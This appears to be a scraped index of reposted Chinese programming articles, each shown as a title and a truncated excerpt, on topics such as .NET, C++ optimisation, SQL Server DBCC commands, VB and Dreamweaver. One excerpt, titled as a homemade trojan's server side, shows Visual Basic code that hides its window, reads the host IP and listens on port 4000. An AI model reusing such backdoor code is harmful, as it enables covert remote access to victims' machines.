Confronting .NET myths (转)
Confronting .NET myths (转)[@more@].NET & Beyond: Confronting .net mythsXML:namespace prefix = o ns = "urn:schemas-microsoft-com:Office:office" /> By David Chappell At my talks about .NET this year, I've been running into many of the same miSCOnceptions. Since many of them revolve around web services, I'd like to clear up some of the confusion out there. Here are my candidates for the top three myths about .NET and Web services: 1. .NET is only about Web service
我的小木马---server端---第一次编译 (转)
我的小木马---server端---第一次编译 (转)[@more@]'主窗体:Frm_Winsock'Winsock控件:G_Server Private Sub Form_Load() '隐藏进程 ' '读取主机IP Hostip = G_Server.LocalIP '读取主机名 HostName = G_Server.LocalHostName With Me '设置本地默认端口 .G_Server.LocalPort = 4000 '监听 .G_Server.Listen '隐藏窗体 .Hide End With '获取木马所在目录 Dim sCurrentPath As String sCurrentPath = App.Path & ""
让JBuilder眩出个性 (转)
让JBuilder眩出个性 (转)[@more@]在上一篇文章《让你的JBuilder眩起来》发表之后,收到许多朋友的来信,其中问的比较多的一个问题是:是否还有其它的外观?Alloy提供了四种外观供选择,并且还可以自定义想要的外观。这些方法在Alloy提供的文档中有详细的描述,有兴趣的朋友可以自己去研究,在这里只讨论:如何让JBuilder的ide使用这些外观。 一:准备工作。下载Alloy 1.3并生成所需的Alloy.jar,具体方法请参考《让你的JBuilder眩起来》(主要是加入一个alloy.properties文件)。 建立目录E:feelslib (将Alloy.jar放在里面) src (
C++ 层次代码优化 (转)
C++ 层次代码优化 (转)[@more@]第二次修订 2002.4.16 第一次修订 2002.3.12 初次发表 2002.1.17 谈到优化,很多人都会直接想到汇编。难道优化只能在汇编层次吗?当然不是,C++层次一样可以作代码优化,其中有些常常是意想不到的。在C++层次进行优化,比在汇编层次优化具有更好的移植性,应该是优化中的首选做法。 确定浮点型变量和表达式是 float 型 为了让编译器产生更好的代码(比如说产生3DNow! 或SSE指令的代码),必须确定浮点型变量和表达式是 float 型的。要特别注意的是,以 "F" 或 "f" 为后缀(比如:3.14f)的浮点常量才是 fl
DDBC语句分类 (转)
DDBC语句分类 (转)[@more@]维护语句 dbCC DBREINDEX 重建指定数据库中表的一个或多个索引DBCC DBREPAIR 除去损坏的数据库DBCC INDEXDEFRAG 整理指定的表或视图的聚集索引和辅助索引碎片DBCC SHRINKDATABASE 收缩指定数据库中的数据文件大小DBCC SHRINKFILE 收缩相关数据库的指定数据文件或日志文件大小DBCC UPDATEUSAGE 报告和更正 sysindexes 表的不正确内容, 该内容可能会导致通过 sp_spaceused 系统存储过程产生不正确的空间使用报表 状态语句DBCC INPUTBUFFE
浏览文件夹中的图片(用VB实现) (转)
浏览文件夹中的图片(用VB实现) (转)[@more@] 浏览文件夹中的图片(用VB实现) 首先要新建一个工程,在Form1中添加dirlistbox控件,drivelistbox控件,filelistbox控件,combobox控件,textbox控件,vscrollbar控件和一个command1控件然后在代码框中输入以下代码: Option Explicit private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As win32_FIND_DATA) As Longprivate Declare Function FindClose Lib "kernel32" (ByVal hFindF
一个简单的学生成绩管理程序 (转)
一个简单的学生成绩管理程序 (转)[@more@]#include<stdlib.h> #include<stdio.h> struct list{ int num; char name[256]; int china; int english; int math; struct list *next; }; typedef struct list node; typedef node *link; printf_list(link head) { link pointer; pointer=head; while(pointer!=NULL) { printf("number:%dn",pointer->num); printf("nam
VC编译ADO的开发环境和客户环境的细微差别可能导致的失败 (转)
VC编译ADO的开发环境和客户环境的细微差别可能导致的失败 (转)[@more@] ·应阅读本公告牌的目标受众:针对microsoft®ADO 2.5及其后续版本加以应用的客户。这其中便包括使用着Microsoft windows® XP、sql SERVER™ 2000和MDAC 2.7的VC程序员。 ·薄弱环节可能造成的影响:VC编译的应用运行失败。 ·现象: 在开发机器上编译如下代码: #pragma warning(push) // Needs to be done in order to suppress warning message#pragma warning(disable:4146) // caused by bug in ADO (MS Kn
12.14广州求职记 (转)
12.14广州求职记 (转)[@more@]12.14广州求职记XML:namespace prefix = o ns = "urn:schemas-microsoft-com:Office:office" /> 故事背景:南方人才网于12月14号在广州赛马场举办大型IT、机械、电子人才交流会,我是学机械的,但有心找一个程序员的职位,就和同学们雄纠纠、气昂昂的冲出去了…… 在学校混了四年,也该到卖身的时候了。怀着满腔热情,半夜0:30分,我踏上了去广州东的绿皮特慢列车,在几个婴儿吵闹的哭声中,我渐渐的昏睡过去了。 一觉醒来,火车早已进入广东境内,果然名不虚传,广东省铁路沿线一带的建筑都和
IBM收购Rational后续 市场分析微软将收购Borland (转)
IBM收购Rational后续 市场分析微软将收购Borland (转)[@more@]继IBM日前并购Rational后,分析师纷纷预测微软有可能买下Borland,使得该公司股票昨天大幅上涨。 Borland股价昨天上涨74美分,以12.31美元作收,涨幅6.4%,成交量达180万股。Borland发言人表示不愿针对市场臆测发表评论。 IBM上周才以21亿美元收购Borland对手Ratioal Software,也因此分析师认为Borland很可能是下一个被并购的标的。但不论此次是否有任何重大并购发生,分析师认为软件应用市场已经开始出线整合迹象。 “市场上从来没有一家真正成功的单一工具软件商,市
用模板和库批量修改网页(中) (转)
用模板和库批量修改网页(中) (转)[@more@]上一次粗浅的说了一下模板的作用,我想用dreamwaver 的官方解释来做一下回顾。“Dreamweaver模板和库可以帮助您使用一致的设计创建web页面。使用模板和库也使得站点的维护更加容易,您可以在短短的几秒钟内重新设计您的站点并且修改成百上千的页面。”“模板是一种文档,您可以用它来创建共享同一布局的多个页面。” 创建模板的几个方法:1,从现存的HTML文档中创建模板 (1),首先要打开该文档 (2),打开后选择「文件>另存为模板」 (3),接下来保存以后,就会跳转到此
解决Asp.net中翻页问题的自定义用户控件 (转)
解决Asp.net中翻页问题的自定义用户控件 (转)[@more@] 不知道为什么,微软既然提供了DataGrid的分页功能,为什么功能那么弱,要么只有上一页、下一页,要么就1、2、3、4、5、6页,根本不符合我们中国软件的“国情”啊。在我的印象里,好像不但要有“首页”、“上页”、“下页”、“末页”,还要有Goto到指定页等等,才算完美啊。不知道大家是否有同感。 鉴于此,我写了个关于DataGrid的分页功能的一个自定义用户控件,只要DataGrid需要翻页,就把此自定义控件过进来,在简单的Copy一下代码,就OK了。以下是自定义控件的代码。
整理的一些常用系统表 (转)
整理的一些常用系统表 (转)[@more@]名称 地址 说明 sysaltfiles 主数据库 保存数据库的文件syscharsets 主数据库 字符集与排序顺序sySCOnfigures 主数据库 配置选项syscurconfigs 主数据库 当前配置选项sysdatabases 主数据库 服务器中的数据库syslanguages 主数据库 语言syslogins 主数据库 登陆帐号信息sysoledbusers 主数据库 链接服务器登陆信息sysprocesses 主数据库 进程sysremotelogins主数据库
浅谈eMbedded Visual C++4.0对于Windows CE.net 的开发 (转)
浅谈eMbedded Visual C++4.0对于Windows CE.net 的开发 (转)[@more@] 浅谈eMbedded Visual C++4.0对于windows CE.NET 的开发XML:namespace prefix = o ns = "urn:schemas-microsoft-com:Office:office" /> 摘要:说明利用eMbedded Visual C++4.0实现嵌入式Windows CE.net 的开发技术,介绍具体实现的思想和方案。 关键词:嵌入式系统 Windows CE.net eMbedded Visual C++4.0 本文主要讲述如何使用eMbwedded Visual C++4.0 来进行 Windows CE.net的开发?如果你已经能熟练应用 Microsoft Visual C++ 这
在Sun[tm] ONE Studio 中进行面向方面编程 (转)
在Sun[tm] ONE Studio 中进行面向方面编程 (转)[@more@] 在Sun[tm] ONE Studio 中进行面向方面编程 XML:namespace prefix = o ns = "urn:schemas-microsoft-com:Office:office" /> 摘要 方面(ASPects)使得我们能够横切模块代码,在典型的面向对象应用程序中,这类代码有着公共的目的,但是被实现在分散的代码中,施乐公司帕洛阿尔托研究中心的AspectJ是由一群热情而经验丰富的用户和开发人员开发的一个开放源码的项目,他对Java语言提供了一些简单的扩展,从而在java中实现了方面(Aspects),在这篇文章中,作
浅谈MFC中超类化技术的实现 (转)
浅谈MFC中超类化技术的实现 (转)[@more@]// 关键词:// 面对对象编程、超类化、子类化、Superclassing// MFC、CWnd::SubclassWindow// 通用控件、CMNCTRL//// 主题:// 通过CWnd::SubclassWindow 函数的分析,浅谈MFC中超类化技术的实现////// 背景// 我在2002-12月见了mahongxi (烤鸡翅膀)(色摸)在CSDN上的一个帖// 介绍了MFC中窗体的超类化的概念,以下是对我个人回贴的总结//// 日志// 修改:Panr 2002-12-15 13:30 版式整理,转帖到CSDN文档中心// 修改:Panr 2002-12-15 13:30 勘误// 原作:Panr 2002-12-13 12
用模板和库批量修改网页(上) (转)
用模板和库批量修改网页(上) (转)[@more@] 如果你做了500个网页之后,忽然发现电话号码或是地址出了点儿小错误,这时候你怎么办,是一个一个修改吗?可以想象工作量会有多大。如果你只作过个人主页,那并不会出现这种问题,因为如果只有十几个页面,就算错了,直接改过来就是了,也不见的有什么麻烦,但是如果你要作大量的网页的话,这就是一个不容忽视的问题。 当然,Dreamwaver为我们提供了最简单的方法,只要改一次,就可以全部更新。这就是接下来我要讲的模板和库。多用模板和库是一个很好的习惯。首先需要说明的是什么时
InstallShield Express for delphi制作安装程序定制BDE引擎 (转)
InstallShield Express for delphi制作安装程序定制BDE引擎 (转)[@more@]使用Delphi编写数据库程序,在发布程序的同时还需要发布BDE(Borland Database Engine),但BDE占用空间较大,如Delphi5就有17.4M之多,远比一般的程序本身要大。实际上,有些文件根本用不上,所以我们可以在发布时用Delphi附带的InstallShield Express for delphi制作安装程序来定制BDE引擎,这样就可以达到为我们的数据库应用程序“减肥”的目的。 下面介绍BDE引擎的各关键文件的作用,我们以此作为精简BDE驱动程序的依据: 一、不可缺少的文件 Blw32.dll:语言
创建新数据库 (转)
创建新数据库 (转)[@more@]与桌面型数据库(相对真正的数据库而言,其时应该叫数据表)不同的是,Interbase数据库只存在一个以 .Gdb 为扩展名的“大文件”,此文件将所有的数据表、索引、存储过程、视图、触发器、异常等“打包”在一起。这样的数据库对数据的维护与备份等都大大简化。 要创建一个数据库,首先你得先安装Interbase,以下的讨论都以Interbase 6 版本进行讨论,没有Interbase 6 的,请在本站的软件下载栏内或到相关数据站点下载一个Interbase 6 进行安装。Interbase 6 的默认安装路径为“C:Program FilesBorlandInter
让我们重视程序运行效率 (转)
让我们重视程序运行效率 (转)[@more@]让我们重视程序运行效率XML:namespace prefix = o ns = "urn:schemas-microsoft-com:Office:office" /> 起初,程序运行效率一直是学习计算机的人们关心的话题。但是随着硬件的飞速发展,“运行效率”这个概念已经在校园和初学者之中淡化,只有在设计商业软件开发和程序设计竞赛时才能看见它的身影。这是我们目前的状况,也是值得大家思考的问题。 有必要改进程序的运行效率吗? 随着计算机硬件的发展,微机的速度越来越快(奔腾4处理器的主频已经上了3G,同步缓存等技术已经得到应用),